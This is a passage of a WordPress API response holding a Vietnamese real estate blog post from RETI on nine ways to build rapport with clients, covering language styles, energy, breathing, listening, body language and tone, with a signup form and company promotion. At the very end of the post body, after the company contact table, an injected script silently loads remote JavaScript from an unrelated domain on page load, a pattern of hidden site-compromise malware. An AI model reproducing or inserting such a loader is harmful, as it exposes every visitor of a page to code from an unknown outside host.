class=\"wp-block-paragraph\"><strong>\u0110\u0103ng k\u00fd t\u1ea1i \u0111\u00e2y \u0111\u1ec3 nh\u1eadn th\u00eam th\u00f4ng tin v\u1ec1 c\u00e1c d\u1ef1 \u00e1n m\u00e0 b\u1ea1n quan t\u00e2m:<\/strong><\/p>\n\n\n\n<div class=\"wp-block-contact-form-7-contact-form-selector\">\n<div class=\"wpcf7 no-js\" id=\"wpcf7-f17726-o1\" lang=\"vi\" dir=\"ltr\" data-wpcf7-id=\"17726\">\n<div class=\"screen-reader-response\"><p role=\"status\" aria-live=\"polite\" aria-atomic=\"true\"><\/p> <ul><\/ul><\/div>\n<form action=\"\/blog\/wp-json\/wp\/v2\/posts\/32675#wpcf7-f17726-o1\" method=\"post\" class=\"wpcf7-form init\" aria-label=\"Form li\u00ean h\u1ec7\" novalidate=\"novalidate\" data-status=\"init\">\n<fieldset class=\"hidden-fields-container\"><input type=\"hidden\" name=\"_wpcf7\" value=\"17726\" \/><input type=\"hidden\" name=\"_wpcf7_version\" value=\"6.1.6\" \/><input type=\"hidden\" name=\"_wpcf7_locale\" value=\"vi\" \/><input type=\"hidden\" name=\"_wpcf7_unit_tag\" value=\"wpcf7-f17726-o1\" \/><input type=\"hidden\" name=\"_wpcf7_container_post\" value=\"0\" \/><input type=\"hidden\" name=\"_wpcf7_posted_data_hash\" value=\"\" \/><input type=\"hidden\" name=\"_wpcf7_recaptcha_response\" value=\"\" \/>\n<\/fieldset>\n<p>\u0110\u0102NG K\u00dd NH\u1eacN TH\u00d4NG TIN D\u1ef0 \u00c1N M\u1edaI NH\u1ea4T<br \/>\n<span class=\"wpcf7-form-control-wrap\" data-name=\"your-name\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-text wpcf7-validates-as-required\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"H\u1ecd t\u00ean\" value=\"\" type=\"text\" name=\"your-name\" \/><\/span>\n<\/p>\n<p><span class=\"wpcf7-form-control-wrap\" data-name=\"your-email\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-email wpcf7-validates-as-required wpcf7-text wpcf7-validates-as-email\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"Email\" value=\"\" type=\"email\" name=\"your-email\" \/><\/span>\n<\/p>\n<p><span class=\"wpcf7-form-control-wrap\" data-name=\"tel-724\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-tel wpcf7-validates-as-required wpcf7-text wpcf7-validates-as-tel\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"S\u1ed1 \u0111i\u1ec7n tho\u1ea1i\" value=\"\" type=\"tel\" name=\"tel-724\" \/><\/span>\n<\/p>\n<p><input class=\"wpcf7-form-control wpcf7-submit has-spinner\" type=\"submit\" value=\"\u0110\u0103ng k\u00fd\" \/>\n<\/p>\n<p><script>\ndocument.addEventListener( 'wpcf7mailsent', function( event ) {\n location = 'https:\/\/reti.vn\/blog\/thank-you-page\/';\n}, false );\n<\/script>\n<\/p><div class=\"wpcf7-response-output\" aria-hidden=\"true\"><\/div>\n<\/form>\n<\/div>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 t\u01b0<\/em>, ng\u00f4n t\u1eeb khi n\u00f3i:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Trong m\u1ed7i con ng\u01b0\u1eddi lu\u00f4n lu\u00f4n c\u00f3 s\u1ef1 song h\u00e0nh c\u1ee7a 4 nh\u00f3m t\u00ednh c\u00e1ch kh\u00e1c nhau.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">V &#8211; H\u00ecnh \u1ea3nh: Th\u00edch h\u00ecnh \u1ea3nh, m\u00e0u s\u1eafc. H\u1ecd th\u01b0\u1eddng xuy\u00ean s\u1eed d\u1ee5ng nh\u1eefng t\u1eeb ng\u1eef nh\u01b0: tr\u00f4ng th\u1ea5y, nh\u00ecn th\u1ea5y, r\u00f5 r\u00e0ng, h\u00ecnh dung, tr\u00f4ng gi\u1ed1ng nh\u01b0&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A &#8211; \u00c2m thanh: Th\u00edch \u00e2m thanh. H\u1ecd th\u01b0\u1eddng xuy\u00ean s\u1eed d\u1ee5ng nh\u1eefng t\u1eeb ng\u1eef nh\u01b0: nghe \u1ed5n \u0111\u1ea5y, nghe c\u00f3 v\u1ebb \u0111\u01b0\u1ee3c, \u00eam tai, tr\u1ea7m, b\u1ed5ng&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">K &#8211; C\u1ea3m x\u00fac: Th\u01b0\u1eddng nh\u00ecn nh\u1eadn v\u1ea5n \u0111\u1ec1 b\u1eb1ng c\u1ea3m x\u00fac. H\u1ecd th\u01b0\u1eddng xuy\u00ean s\u1eed d\u1ee5ng t\u1eeb sau khi giao ti\u1ebfp: ch\u1eafc ch\u1eafn, c\u1ea3m th\u1ea5y, c\u1ea3m nh\u1eadn, c\u1ea3m gi\u00e1c nh\u01b0&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ad &#8211; Ng\u01b0\u1eddi suy ngh\u0129: Th\u01b0\u1eddng nh\u00ecn nh\u1eadn m\u1ed9t v\u1ea5n \u0111\u1ec1 v\u00e0 sau \u0111\u00f3 th\u01b0\u1eddng xuy\u00ean t\u1ef1 tho\u1ea1i v\u1edbi ch\u00ednh m\u00ecnh. H\u1ecd th\u01b0\u1eddng s\u1eed d\u1ee5ng nh\u1eefng ng\u00f4n ng\u1eef sau khi giao ti\u1ebfp: ngh\u0129, suy ngh\u0129, c\u00f3 v\u1ebb, h\u1ee3p l\u00fd&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">M\u1eb7c d\u00f9 ai c\u0169ng s\u1edf h\u1eefu 4 t\u00ednh c\u00e1ch nh\u01b0ng \u1edf m\u1ed7i ng\u01b0\u1eddi l\u1ea1i c\u00f3 t\u00ednh c\u00e1ch n\u1ed5i tr\u1ed9i ri\u00eang. V\u00ec v\u1eady, h\u00e3y t\u00ecm ra t\u00ednh c\u00e1ch n\u1ed5i tr\u1ed9i c\u1ee7a h\u1ecd v\u00e0 n\u00f3i chuy\u1ec7n v\u1edbi h\u1ecd theo t\u00ednh c\u00e1ch \u0111\u00f3. H\u00e3y kh\u00e9o l\u00e9o d\u00f9ng c\u00e1ch n\u00f3i c\u1ee7a h\u1ecd \u0111\u1ec3 giao ti\u1ebfp v\u1edbi h\u1ecd. H\u00e3y n\u00f3i chuy\u1ec7n b\u1eb1ng ng\u00f4n ng\u1eef c\u1ee7a \u0111\u1ed1i ph\u01b0\u01a1ng \u0111\u1ec3 l\u1ea5y thi\u1ec7n c\u1ea3m c\u1ee7a h\u1ecd.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 n\u0103m<\/em>, v\u1ec1 n\u0103ng l\u01b0\u1ee3ng:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">N\u0103ng l\u01b0\u1ee3ng c\u1ee7a b\u1ea1n ph\u1ea3i l\u1edbn h\u01a1n n\u0103ng l\u01b0\u1ee3ng c\u1ee7a kh\u00e1ch h\u00e0ng v\u00e0 ph\u1ea3i lu\u00f4n l\u00e0 n\u0103ng l\u01b0\u1ee3ng t\u00edch c\u1ef1c. H\u00e3y \u0111\u1ee9ng th\u1eb3ng hay ng\u1ed3i th\u1eb3ng l\u01b0ng, m\u1edf to m\u1eaft, c\u01b0\u1eddi r\u1ea1ng r\u1ee1, lu\u00f4n t\u1ecf ra h\u00e0o h\u1ee9ng&#8230;<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img decoding=\"async\" width=\"500\" height=\"332\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/giao-tiep-2.jpg\" alt=\"\" class=\"wp-image-32698 lazyload\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/giao-tiep-2.jpg 500w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/giao-tiep-2-300x199.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/giao-tiep-2-150x100.jpg 150w\" data-sizes=\"(max-width: 500px) 100vw, 500px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 500px; --smush-placeholder-aspect-ratio: 500\/332;\" \/><figcaption><em>H\u00e3y lu\u00f4n gi\u1eef n\u0103ng l\u01b0\u1ee3ng t\u00edch c\u1ef1c trong bu\u1ed5i n\u00f3i chuy\u1ec7n<\/em><\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">B\u00e0i vi\u1ebft li\u00ean quan: <a href=\"https:\/\/agent.reti.vn\/ky-nang-quyet-dinh-thanh-bai-trong-tu-van-khach-hang-kien-thuc-thi-truong-khu-vuc\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/agent.reti.vn\/ky-nang-quyet-dinh-thanh-bai-trong-tu-van-khach-hang-kien-thuc-thi-truong-khu-vuc\/\" rel=\"noreferrer noopener\">K\u1ef9 n\u0103ng quy\u1ebft \u0111\u1ecbnh th\u00e0nh b\u1ea1i trong t\u01b0 v\u1ea5n kh\u00e1ch h\u00e0ng: Ki\u1ebfn th\u1ee9c th\u1ecb tr\u01b0\u1eddng khu v\u1ef1c<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 s\u00e1u<\/em>, v\u1ec1 h\u01a1i th\u1edf:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u00e2y l\u00e0 m\u1ed9t k\u1ef9 thu\u1eadt kh\u00f3 nh\u01b0ng n\u1ebfu l\u00e0m \u0111\u01b0\u1ee3c, b\u1ea1n s\u1ebd \u0111\u1ea1t \u0111\u01b0\u1ee3c thi\u1ec7n c\u1ea3m r\u1ea5t l\u1edbn. B\u1ea1n h\u00e3y th\u1edf c\u00f9ng h\u01a1i th\u1edf v\u1edbi kh\u00e1ch h\u00e0ng, c\u1ea3 v\u1ec1 \u0111\u1ed9 s\u00e2u, \u0111\u1ed9 d\u00e0i v\u00e0 nh\u1ecbp th\u1edf.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 b\u1ea3y<\/em>, l\u1eafng nghe m\u1ed9t c\u00e1ch ch\u1ee7 \u0111\u1ed9ng:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">B\u1ea1n c\u1ea7n lu\u00f4n l\u1eafng nghe kh\u00e1ch h\u00e0ng v\u00e0 nh\u1eafc l\u1ea1i nh\u1eefng t\u1eeb kho\u00e1 m\u00e0 kh\u00e1ch h\u00e0ng n\u00f3i t\u1edbi d\u01b0\u1edbi d\u1ea1ng m\u1ed9t c\u00e2u h\u1ecfi. Khi kh\u00e1ch h\u00e0ng n\u00f3i r\u1eb1ng: <em>&#8220;T\u00f4i l\u00e0m vi\u1ec7c n\u00e0y \u0111\u00e3 h\u01a1n 10 n\u0103m.&#8221;<\/em> th\u00ec b\u1ea1n h\u00e3y h\u1ecfi l\u1ea1i <em>&#8220;Anh\/Ch\u1ecb l\u00e0m n\u00f3 h\u01a1n 10 n\u0103m?&#8221;<\/em>. B\u1ea1n h\u00e3y h\u01a1i l\u00ean gi\u1ecdng m\u1ed9t ch\u00fat \u1edf cu\u1ed1i c\u00e2u \u0111\u1ec3 th\u1ec3 hi\u1ec7n n\u00f3 l\u00e0 c\u00e2u h\u1ecfi. \u0110\u00e2y l\u00e0 c\u00e1ch t\u1ea1o thi\u1ec7n c\u1ea3m ng\u1ea7m.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 t\u00e1m<\/em>, v\u1ec1 ng\u00f4n ng\u1eef c\u01a1 th\u1ec3:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">H\u00e3y t\u00ecm ra nh\u1eefng ng\u00f4n ng\u1eef c\u01a1 th\u1ec3, nh\u1eefng c\u1eed ch\u1ec9 th\u1ec3 hi\u1ec7n s\u1ef1 ch\u1eafc ch\u1eafn, s\u1ef1 khan hi\u1ebfm, s\u1ef1 b\u00ed \u1ea9n, s\u1ef1 ch\u00e2n th\u00e0nh v\u00e0 luy\u1ec7n t\u1eadp th\u00e0nh th\u1ea1o. M\u1ed7i khi b\u1ea1n n\u00f3i \u0111\u1ebfn s\u1ef1 ch\u1eafc ch\u1eafn, h\u00e3y c\u00f9ng m\u1ed9t l\u00fac l\u00e0m c\u1eed ch\u1ec9 ch\u1eafc ch\u1eafn v\u00e0 t\u01b0\u01a1ng t\u1ef1 v\u1edbi nh\u1eefng c\u1eed ch\u1ec9 c\u00f2n l\u1ea1i. L\u00fd do l\u00e0 v\u00ec nh\u1eefng c\u1eed ch\u1ec9 n\u00e0y s\u1ebd h\u1ed7 tr\u1ee3 cho \u00e2m \u0111i\u1ec7u trong l\u1eddi n\u00f3i c\u1ee7a b\u1ea1n.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img decoding=\"async\" width=\"646\" height=\"432\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/nhung-to-chat-can-co-cua-mot-nhan-vien-tu-van-bat-dong-san.jpg\" alt=\"\" class=\"wp-image-32699 lazyload\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/nhung-to-chat-can-co-cua-mot-nhan-vien-tu-van-bat-dong-san.jpg 646w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/nhung-to-chat-can-co-cua-mot-nhan-vien-tu-van-bat-dong-san-300x201.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/nhung-to-chat-can-co-cua-mot-nhan-vien-tu-van-bat-dong-san-150x100.jpg 150w\" data-sizes=\"(max-width: 646px) 100vw, 646px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 646px; --smush-placeholder-aspect-ratio: 646\/432;\" \/><figcaption>H\u00e3y d\u00f9ng ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 \u0111\u1ec3 h\u1ed7 tr\u1ee3 cho \u00e2m \u0111i\u1ec7u trong l\u1eddi n\u00f3i c\u1ee7a b\u1ea1n <\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Th\u1ee9 ch\u00edn<\/em>, v\u1ec1 ng\u1eef \u0111i\u1ec7u:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ng\u1eef \u0111i\u1ec7u s\u1ebd t\u00e1c \u0111\u1ed9ng \u0111\u1ebfn c\u1ea3m x\u00fac c\u1ee7a kh\u00e1ch h\u00e0ng, l\u00e0m ch\u1ee7 ng\u1eef l\u00e0 l\u00e0m ch\u1ee7 ngh\u1ec7 thu\u1eadt th\u00f4i mi\u00ean. V\u00ec th\u1ebf h\u00e3y s\u1eed d\u1ee5ng ng\u1eef \u0111i\u1ec7u ph\u00f9 h\u1ee3p.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>L\u01b0u \u00fd:<\/strong> T\u1ea1o thi\u1ec7n c\u1ea3m l\u00e0 \u0111i\u1ec1u b\u1eaft bu\u1ed9c ph\u1ea3i c\u00f3 v\u00e0 duy tr\u00ec trong su\u1ed1t qu\u00e1 tr\u00ecnh b\u00e1n h\u00e0ng c\u1ee7a b\u1ea1n. Thi\u1ec7n c\u1ea3m kh\u00f4ng c\u00f3 ngh\u0129a l\u00e0 k\u1ec3 chuy\u1ec7n phi\u1ebfm, k\u1ec3 chuy\u1ec7n li\u00ean quan \u0111\u1ebfn nh\u1eefng g\u00ec kh\u00e1ch h\u00e0ng th\u00edch. Thi\u1ec7n c\u1ea3m kh\u00f4ng ph\u1ea3i l\u00e0 kh\u00e1ch h\u00e0ng th\u00edch n\u00f3i chuy\u1ec7n v\u1ec1 ch\u01a1i golf th\u00ec b\u1ea1n n\u00f3i chuy\u1ec7n v\u1ec1 golf. Thi\u1ec7n c\u1ea3m l\u00e0 s\u1ef1 th\u1ea5u hi\u1ec3u v\u00e0 tin t\u01b0\u1edfng.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">>>> <a href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/\" rel=\"noreferrer noopener\">6 c\u00e1ch gi\u00fap CTV B\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u1eafng nghe kh\u00e1ch h\u00e0ng t\u1ed1t nh\u1ea5t<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tr\u00ean \u0111\u00e2y l\u00e0 9 c\u00e1ch gi\u00fap b\u1ea1n g\u00e2y \u1ea5n t\u01b0\u1ee3ng t\u1ed1t, t\u1ea1o thi\u1ec7n c\u1ea3m v\u1edbi kh\u00e1ch h\u00e0ng. RETI hy v\u1ecdng r\u1eb1ng nh\u1eefng chia s\u1ebb tr\u00ean s\u1ebd gi\u00fap b\u1ea1n c\u00f3 th\u00eam ki\u1ebfn th\u1ee9c v\u00e0 c\u1ea3i thi\u1ec7n k\u1ebft qu\u1ea3 trong c\u00f4ng vi\u1ec7c. \u0110\u1ec3 kh\u00f4ng b\u1ecf l\u1ee1 nh\u1eefng ki\u1ebfn th\u1ee9c v\u1ec1 B\u0110S, b\u1ea1n h\u00e3y truy c\u1eadp v\u00e0o\u00a0<a href=\"https:\/\/agent.reti.vn\/\">agent.reti.vn<\/a>\u00a0v\u00e0 nh\u1eefng c\u1eadp nh\u1eadt m\u1edbi nh\u1ea5t v\u1ec1 th\u1ecb tr\u01b0\u1eddng B\u0110S t\u1ea1i\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">reti.vn<\/a>.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>RETI l\u00e0 C\u00f4ng ty ph\u00e2n ph\u1ed1i, ph\u00e1t tri\u1ec3n v\u00e0 \u0111\u1ea7u t\u01b0 B\u0110S \u1ee9ng d\u1ee5ng c\u00f4ng ngh\u1ec7. B\u1eb1ng s\u1ef1 k\u1ebft h\u1ee3p gi\u1eefa c\u00f4ng ngh\u1ec7 v\u00e0 con ng\u01b0\u1eddi, n\u1ec1n t\u1ea3ng giao d\u1ecbch B\u0110S online v\u00e0 ph\u01b0\u01a1ng th\u1ee9c offline, RETI ch\u1eafc ch\u1eafn mang l\u1ea1i nhi\u1ec1u gi\u00e1 tr\u1ecb v\u00e0 tr\u1ea3i nghi\u1ec7m \u0111\u1ed9t ph\u00e1 cho kh\u00e1ch h\u00e0ng c\u0169ng nh\u01b0 ch\u1ee7 \u0111\u1ea7u t\u01b0, gi\u00fap h\u1ecd mua \u2013 b\u00e1n giao d\u1ecbch B\u0110S d\u1ec5 d\u00e0ng, minh b\u1ea1ch v\u00e0 hi\u1ec7u qu\u1ea3. <br>Hi\u1ec7n nay, RETI \u0111\u00e3 v\u00e0 \u0111ang ph\u00e2n ph\u1ed1i r\u1ea5t nhi\u1ec1u d\u1ef1 \u00e1n l\u1edbn tr\u00ean c\u1ea3 n\u01b0\u1edbc, nh\u01b0: Sun Grand Boulevard, Sun Riverside Village, BRG Diamond Residence, Sun Grand City Thu\u1ef5 Khu\u00ea, Meyhomes Capital Ph\u00fa Qu\u1ed1c, Sun Grand City Feria H\u1ea1 Long, Sunshine Crystal River, Sun Onsen Village Limited Edition, Sun Grand City Hillside Residence, Vegacity Nha Trang&#8230;<br>Website:\u00a0<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/reti.vn\/<\/a><br>Fanpage:\u00a0<a class=\"rank-math-link\" rel=\"noreferrer noopener\" href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\">https:\/\/www.facebook.com\/retiproptech<\/a><br>Hotline: 098 712 6898<br>Email: support@reti.vn<\/td><\/tr><\/tbody><\/table><\/figure>\n<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script>","protected":false},"excerpt":{"rendered":"<p>Khi ti\u1ebfp x\u00fac v\u1edbi ng\u01b0\u1eddi l\u1ea1, b\u1ea1n mong mu\u1ed1n tr\u1edf th\u00e0nh m\u1ed9t v\u1ecb kh\u00e1ch \u0111\u01b0\u1ee3c ch\u00e0o \u0111\u00f3n hay m\u1ed9t ng\u01b0\u1eddi b\u1ecb xua \u0111u\u1ed5i? T\u1ea5t nhi\u00ean, m\u1ecdi ng\u01b0\u1eddi \u0111\u1ec1u mong mu\u1ed1n l\u00e0 m\u1ed9t v\u1ecb kh\u00e1ch \u0111\u01b0\u1ee3c \u0111\u00f3n ti\u1ebfp n\u1ed3ng h\u1eadu m\u1ed7i khi g\u1eb7p g\u1ee1 ai \u0111\u00f3. \u0110i\u1ec1u m\u1ea5u ch\u1ed1t \u1edf \u0111\u00e2y l\u00e0 b\u1ea1n c\u1ea7n t\u1ea1o \u0111\u01b0\u1ee3c [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":32700,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[307],"tags":[],"class_list":["post-32675","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-meo-nho-bat-dong-san"],"external_url":"","amp_enabled":true,"featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/11\/Khach-hang-5.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/32675","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=32675"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/32675\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/32700"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=32675"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=32675"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=32675"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}